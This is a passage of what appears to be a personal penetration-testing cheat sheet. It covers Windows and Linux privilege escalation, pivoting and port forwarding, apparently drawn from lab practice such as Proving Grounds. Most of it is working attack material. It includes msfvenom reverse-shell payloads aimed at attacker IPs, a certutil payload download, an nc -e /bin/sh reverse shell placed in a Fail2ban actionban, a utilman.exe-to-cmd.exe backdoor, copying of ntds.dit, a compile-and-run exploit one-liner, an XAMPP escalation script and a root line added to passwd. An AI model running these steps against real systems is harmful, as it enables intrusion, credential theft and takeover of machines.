&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This ppt will explain how to exploit different SePrivileges&lt;br /&gt;
https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeManageVolume =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xct/SeManageVolumeAbuse&lt;br /&gt;
https://0xdf.gitlab.io/2021/11/08/htb-pivotapi-more.html#sebackupvolume&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeLoadDriverPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup for PG Fuse&lt;br /&gt;
# It allows the user to load kernel drivers and execute code with kernel privilges aka NT\System&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeRestorePrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SeRestorePrivilege privilege allows a user to circumvent file and directory permissions when restoring backed up files and directories, thus giving the user read and write access to system files.&lt;br /&gt;
# See PG Heist writeup&lt;br /&gt;
# This script Enables SeRestorePrivilege for our current (powershell/ise) session.&lt;br /&gt;
https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1&lt;br /&gt;
# You can modify services, DLL Hijacking, set debugger (Image File Execution Options)… A lot of options to escalate.&lt;br /&gt;
# Example of ways to escalate privilege&lt;br /&gt;
# Utilman.exe. This application is triggered by issuing the WIN + U in windows lockscreen&lt;br /&gt;
move C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.old&lt;br /&gt;
move C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe&lt;br /&gt;
# Now RDP to target without logging in. Then press win+u&lt;br /&gt;
rdesktop 192.168.153.165&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-11-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== SeBackupPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SeBackUpPrivilege basically allows for full system read.&lt;br /&gt;
# See if user is member of &#039;Backup Operator&#039;.&lt;br /&gt;
# https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf&lt;br /&gt;
# https://github.com/giuliano108/SeBackupPrivilege&lt;br /&gt;
# Example 1&lt;br /&gt;
PS C:\scripts&amp;gt; Import-Module .\SeBackupPrivilegeUtils.dll&lt;br /&gt;
PS C:\scripts&amp;gt; Import-Module .\SeBackupPrivilegeCmdLets.dll&lt;br /&gt;
PS C:\scripts&amp;gt; Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup&lt;br /&gt;
SeBackupPrivilege is disabled&lt;br /&gt;
PS C:\scripts&amp;gt; dir E:\V_BASE&lt;br /&gt;
Get-ChildItem : Access to the path &#039;E:\V_BASE&#039; is denied.&lt;br /&gt;
At line:1 char:4&lt;br /&gt;
+ dir  Set-SeBackupPrivilege&lt;br /&gt;
PS C:\scripts&amp;gt; Get-SeBackupPrivilege&lt;br /&gt;
SeBackupPrivilege is enabled&lt;br /&gt;
PS C:\scripts&amp;gt; dir E:\V_BASE # ...having enabled the privilege, this now works&lt;br /&gt;
&lt;br /&gt;
    Directory: E:\V_BASE&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
d----        18/07/2013     13:04            Private&lt;br /&gt;
PS C:\scripts&amp;gt; cd E:\V_BASE\Private&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt; dir&lt;br /&gt;
&lt;br /&gt;
    Directory: E:\V_BASE\Private&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
-----        05/07/2013     12:29     306435 report.pdf&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt; Copy-FileSeBackupPrivilege .\report.pdf c:\temp\x.pdf -Overwrite&lt;br /&gt;
Copied 306435 bytes&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-------------------&lt;br /&gt;
# Example 2&lt;br /&gt;
Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns&lt;br /&gt;
Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeCreateTokenPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.greyhathacker.net/?p=1025&lt;br /&gt;
Try running it many times&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SMBGhost ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CVE-2020-0796&lt;br /&gt;
# https://github.com/danigargu/CVE-2020-0796&lt;br /&gt;
# Compile it with Visual Studios. Change payload in exploit.cpp line 204 and add msfvenom payload&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.60 LPORT=8081 -f dll -f csharp&lt;br /&gt;
# Compile it. Change &#039;debug&#039; to &#039;release&#039;, set correct architecture.&lt;br /&gt;
# Transfer to target&lt;br /&gt;
.\cve-2020-0796.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Software ====&lt;br /&gt;
&lt;br /&gt;
===== Iperius Backup 6.1.0 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/46863&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SystemScheduler =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/45072&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Unquoted Service Path ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In order to exploit Unquoted service path we have to:&lt;br /&gt;
# - Be able to write to the target folder - Use icacls&lt;br /&gt;
# - Be able to restart the service or machine&lt;br /&gt;
# Exmaple (10.1.1.89)&lt;br /&gt;
icacls enterprisesystemmanager.exe # We have modify permissions&lt;br /&gt;
# Generate a payload&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.130 LPORT=443 -f exe &amp;gt; enterprisesystemmanager.exe&lt;br /&gt;
# Move original .exe to .bak&lt;br /&gt;
 move enterprisesystemmanager.exe enterprisesystemmanger.exe.bak&lt;br /&gt;
# Transfer our payload to target location - C:\exacqVisionEsm\EnterpriseSystemManager&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://192.168.119.130/enterprisesystemmanager.exe&amp;quot;&lt;br /&gt;
# Catche the connection&lt;br /&gt;
rlwrap nc -lvnp 443                                                                                                                                  1 ⨯&lt;br /&gt;
listening on [any] 443 ...&lt;br /&gt;
connect to [192.168.119.130] from (UNKNOWN) [10.11.1.251] 19085&lt;br /&gt;
Microsoft Windows [Version 10.0.15063]&lt;br /&gt;
(c) 2017 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;whoami&lt;br /&gt;
whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows XP SP0/SP1 - UPNP service exploit ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://sohvaxus.github.io/content/winxp-sp1-privesc.html&lt;br /&gt;
# Requirenment: Obtained a low privilege shell on your victim&#039;s computer. Operating system is Windows XP with SP0 or SP1 installed.&lt;br /&gt;
# See write up for PWK 10.11.1.14.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows Exploit Suggester ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
python2 windows-exploit-suggester.py --systeminfo sys.txt -d 2022-01-14-mssb.xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows Kernel Exploit list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/SecWiki/windows-kernel-exploits&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== xampp 7.3 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/monster]&lt;br /&gt;
└─# cat exploit.ps1&lt;br /&gt;
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation&lt;br /&gt;
# Exploit Author: Salman Asad (@LeoBreaker1411 / deathflash1411)&lt;br /&gt;
# Original Author: Maximilian Barz (@S1lkys)&lt;br /&gt;
# Date: 27/09/2021&lt;br /&gt;
# Vendor Homepage: https://www.apachefriends.org&lt;br /&gt;
# Version: XAMPP &amp;lt; 7.2.29, 7.3.x &amp;lt; 7.3.16 &amp;amp; 7.4.x &amp;lt; 7.4.4&lt;br /&gt;
# Tested on: Windows 10 + XAMPP 7.3.10&lt;br /&gt;
# References: https://github.com/S1lkys/CVE-2020-11107&lt;br /&gt;
$file = &amp;quot;C:\xampp\xampp-control.ini&amp;quot;&lt;br /&gt;
$find = ((Get-Content $file)[2] -Split &amp;quot;=&amp;quot;)[1]&lt;br /&gt;
# Insert your payload path here&lt;br /&gt;
$replace = &amp;quot;C:\Users\Mike\Downloads\rev.exe&amp;quot;&lt;br /&gt;
(Get-Content $file) -replace $find, $replace | Set-Content $fil&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
==== CVE ====&lt;br /&gt;
&lt;br /&gt;
===== CVE-2009-2698 (Centos 4.8) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xiaoxiaoleo/CVE-2009-2698&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== CVE-2021-4034 (polkit) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/joeammond/CVE-2021-4034&lt;br /&gt;
# Check suid and see if /usr/bin/pkexec is present and python&lt;br /&gt;
# Then compile and run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== CVE-2023–22809 (bypass sudo) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fail2ban ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Fail writeup&lt;br /&gt;
# Example reverse shell&lt;br /&gt;
# Option:  actionban&lt;br /&gt;
# Notes.:  command executed when banning an IP. Take care that the&lt;br /&gt;
#          command is executed with Fail2Ban user rights.&lt;br /&gt;
# Tags:    See jail.conf(5) man page&lt;br /&gt;
# Values:  CMD&lt;br /&gt;
#&lt;br /&gt;
#actionban =  -I f2b- 1 -s  -j&lt;br /&gt;
actionban = /usr/bin/nc -e /bin/sh 192.168.49.243 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Linux Kernel exploits ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux versions&lt;br /&gt;
# 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36&lt;br /&gt;
https://www.exploit-db.com/exploits/15285&lt;br /&gt;
# Linux Kernel &amp;lt; 4.4.0-116 (Ubuntu 16.04.4)&lt;br /&gt;
https://www.exploit-db.com/exploits/44298&lt;br /&gt;
# Linux Kernel &amp;lt; 4.13.9 (Ubuntu 16.04 / Fedora 27)&lt;br /&gt;
https://www.exploit-db.com/exploits/45010&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Copy Fail - CVE-2026-31431 ====&lt;br /&gt;
https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py&lt;br /&gt;
&lt;br /&gt;
==== Dirty Frag: Universal Linux LPE ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone https://github.com/V4bel/dirtyfrag.git &amp;amp;&amp;amp; cd dirtyfrag &amp;amp;&amp;amp; gcc -O0 -Wall -o exp exp.c -lutil &amp;amp;&amp;amp; ./exp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ld_reload - Dynamic library hijacking ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If binary is missing a library AND you have write permission to library location, you can hijack the library by adding a malicous one&lt;br /&gt;
# List Dynamic Dependencies = ldd&lt;br /&gt;
# Ldd is a powerful command-line tool that allows users to view an executable file&#039;s shared object dependencies.&lt;br /&gt;
ldd /usr/bin/log-sweeper&lt;br /&gt;
        linux-vdso.so.1 =&amp;gt;  (0x00007ffe11833000)&lt;br /&gt;
        utils.so =&amp;gt; not found&lt;br /&gt;
        libc.so.6 =&amp;gt; /lib64/libc.so.6 (0x00007f6ce440c000)&lt;br /&gt;
        /lib64/ld-linux-x86-64.so.2 (0x00007f6ce47da000)&lt;br /&gt;
# Generate .so payload&lt;br /&gt;
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.160 LPORT=21 -f elf-so &amp;gt; utils.so&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SUID ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find / -perm -u=s -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Setuid Screen 4.5.0 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/41154&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sudo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/saleemrashid/sudo-cve-2019-18634 https://github.com/saleemrashid/sudo-cve-2019-18634]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit]&lt;br /&gt;
&lt;br /&gt;
==== Systemctl (Misconfigured Permissions — sudo/SUID) ====&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49 https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium][https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Download]&lt;br /&gt;
&lt;br /&gt;
==== Sudo permission to run apache restart ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If your user have these permissions&lt;br /&gt;
(root) NOPASSWD: /usr/sbin/service apache2 restart&lt;br /&gt;
# First check what file you have write permission to.&lt;br /&gt;
# If not, check if there are any bash scripts that can be edited and place a backdoor in it.&lt;br /&gt;
# Example&lt;br /&gt;
# envvars in /etc/apache2 is writeable.&lt;br /&gt;
# Change to another user if there are any on the machine&lt;br /&gt;
export APACHE_RUN_USER=DifferentUser&lt;br /&gt;
# REMEMBER, APACHE WONT LET YOU RUN IT AS ROOT.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Software ====&lt;br /&gt;
&lt;br /&gt;
===== Exim 4.84-3 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/39535&lt;br /&gt;
# If error, fix with&lt;br /&gt;
sed -i -e &#039;s/\r$//&#039; 39535.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== OpenSMTPD 6.4.0 &amp;lt; 6.6.1 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/48051&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Writeable passwd ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate hashed password&lt;br /&gt;
openssl passwd  -1 -salt aghanim pass123&lt;br /&gt;
# Add to passwd on target&lt;br /&gt;
aghanim:$1$aghanim$VVrajbhbmkAgYcpIGLIuY1:0:0:root:/root:/bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Pivoting/tunneling technique ==&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?p=2294 https://blog.aghanim.net/?p=2294]&lt;br /&gt;
&lt;br /&gt;
[https://trojand.com/cheatsheet/Network/Connections/SSH_Tunneling.html SSH Tunneling + SSHuttle and Chisel - Cheatsheet (trojand.com)]&lt;br /&gt;
&lt;br /&gt;
[https://cheatsheet.haax.fr/network/pivot_techniques/ Offensive Security Cheatsheet (haax.fr)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/twelvesec/port-forwarding GitHub - twelvesec/port-forwarding: Tunneling and Port Forwarding Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CHISEL AND PROXYCHAINS AND FOXYPROXY&lt;br /&gt;
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 37777 --reverse&lt;br /&gt;
# Target machine&lt;br /&gt;
./chisel client Attacker-IP:37777 R:socks&lt;br /&gt;
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port&lt;br /&gt;
[ProxyList]&lt;br /&gt;
# add proxy here ...&lt;br /&gt;
# meanwile&lt;br /&gt;
# defaults set to &amp;quot;tor&amp;quot;&lt;br /&gt;
socks5  127.0.0.1 1080&lt;br /&gt;
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --&amp;gt; 10.200.57.200 on port 1080 --&amp;gt; 10.200.57.150 (Unreachable from attacker).&lt;br /&gt;
proxychains nc -vn 10.200.57.150 3389&lt;br /&gt;
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).&lt;br /&gt;
proxychains python2 exploit.py.&lt;br /&gt;
# OR by using foxy proxy if I want to access http.&lt;br /&gt;
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).&lt;br /&gt;
# And start foxy proxy. Now I can access the webserver on.&lt;br /&gt;
# I can also use proxychains to access HTTP.&lt;br /&gt;
proxychains firefox.&lt;br /&gt;
# This will open firefox through proxychains.&lt;br /&gt;
&lt;br /&gt;
# Using SOCKS5 with chisel&lt;br /&gt;
./chisel server -v -p 8000 --socks5&lt;br /&gt;
# On the client/target/victim machine&lt;br /&gt;
chisel.exe client -v attacker.com:8000 socks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ligolo-ng ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nicocha30/ligolo-ng https://github.com/nicocha30/ligolo-ng]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#### LINUX&lt;br /&gt;
# Prepare tunnel&lt;br /&gt;
sudo ip tuntap add user $(whoami) mode tun ligolo&lt;br /&gt;
sudo ip link set ligolo up&lt;br /&gt;
# Start proxy on kali&lt;br /&gt;
./proxy -laddr 192.168.45.195:53 -selfcert&lt;br /&gt;
# On target&lt;br /&gt;
./agent -connect 192.168.45.195:53 -ignore-cert&lt;br /&gt;
# See session in ligolo proxy&lt;br /&gt;
ligolo-ng» session&lt;br /&gt;
# Add pivot to internal network on kali&lt;br /&gt;
sudo ip r add 172.16.213.0/24 dev ligolo&lt;br /&gt;
# Check ip route&lt;br /&gt;
ip route&lt;br /&gt;
default via 10.0.2.2 dev eth0 proto dhcp src 10.0.2.15 metric 100&lt;br /&gt;
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100&lt;br /&gt;
172.16.213.0/24 dev ligolo scope link&lt;br /&gt;
192.168.45.0/24 dev tun0 proto kernel scope link src 192.168.45.195&lt;br /&gt;
192.168.213.0/24 via 192.168.45.254 dev tun0&lt;br /&gt;
&lt;br /&gt;
# In ligolo - in correct session&lt;br /&gt;
[Agent: user@target] » start&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#### WINDOWS&lt;br /&gt;
# To set up the Ligolo-ng proxy on a Windows machine, follow these steps:&lt;br /&gt;
# Download Ligolo-ng Proxy:&lt;br /&gt;
# Visit the Ligolo-ng GitHub Releases page and download the latest proxy.exe suitable for your Windows architecture.&lt;br /&gt;
# Install Wintun Driver:&lt;br /&gt;
# Ligolo-ng requires the Wintun driver to create a TUN interface on Windows.&lt;br /&gt;
# Download the appropriate wintun.dll from the Wintun repository.&lt;br /&gt;
# Place the wintun.dll file in the same directory as proxy.exe.&lt;br /&gt;
# Run the Proxy:&lt;br /&gt;
# Open Command Prompt and navigate to the directory containing proxy.exe and wintun.dll.&lt;br /&gt;
# Execute the proxy with a self-signed certificate:&lt;br /&gt;
proxy.exe -selfcert&lt;br /&gt;
# This command starts the proxy server with a self-signed TLS certificate.&lt;br /&gt;
# Configure the Agent:&lt;br /&gt;
# On the target machine, download the corresponding agent binary from the Ligolo-ng GitHub Releases page.&lt;br /&gt;
# Run the agent, specifying the IP address and port of your Windows machine running the proxy:&lt;br /&gt;
agent.exe -connect :11601 -ignore-cert&lt;br /&gt;
# Replace  with the actual IP address of your proxy machine.&lt;br /&gt;
# Manage Sessions:&lt;br /&gt;
# In the proxy&#039;s command interface, use the session command to list active sessions.&lt;br /&gt;
# Select the desired session to interact with the connected agent.&lt;br /&gt;
# Start Tunneling:&lt;br /&gt;
# Within the selected session, initiate the tunnel:&lt;br /&gt;
tunnel_start --tun&lt;br /&gt;
# Replace  with your chosen name for the TUN interface.&lt;br /&gt;
# Set Up Routing:&lt;br /&gt;
# Determine the network configuration of the agent using the ifconfig command within the session.&lt;br /&gt;
# On your Windows proxy machine, add routes to access the target network:&lt;br /&gt;
route add  mask&lt;br /&gt;
# Replace , , and  with the appropriate values based on the agent&#039;s network configuration.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== meterpreter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
# DISCOVER OTHER HOSTS ON THE NETWORK&lt;br /&gt;
# On windows you can use post/windows/gather/arp_scanner to discover other machines&lt;br /&gt;
# On Linux you can try arp -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -D 1337 user@172.16.0.5 -fN&lt;br /&gt;
# Now use proxychains&lt;br /&gt;
# If you want to nmap without proxychains&lt;br /&gt;
nmap -sS 1.2.3.4 --proxy 127.0.0.1:1080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== sshuttle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
sshuttle [options] -r [username@]sshserver[:port]&lt;br /&gt;
# Example&lt;br /&gt;
sshuttle -r linux-admin@10.200.122.33 10.200.122.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Port Forwarding techniques ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Windows&lt;br /&gt;
plink.exe -l root -R 445:127.0.0.1:445 YOURIPADDRESS&lt;br /&gt;
# Metasploit&lt;br /&gt;
portfwd add -l 9090 -p 9090 -r TARGETIP&lt;br /&gt;
# Reverse ssh tunnel, port forwarding 8090 from target to us:&lt;br /&gt;
ssh -R 8090:localhost:8090 user@ip&lt;br /&gt;
# Local port forward, forward local 8090 to target:&lt;br /&gt;
ssh -L 8090:localhost:8090 user@ip&lt;br /&gt;
# Chisel&lt;br /&gt;
# Example: forward port 8888 to attacker using chisel&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
ssh -i id_rsa -L [bind_address]port:host:hostport] username@host&lt;br /&gt;
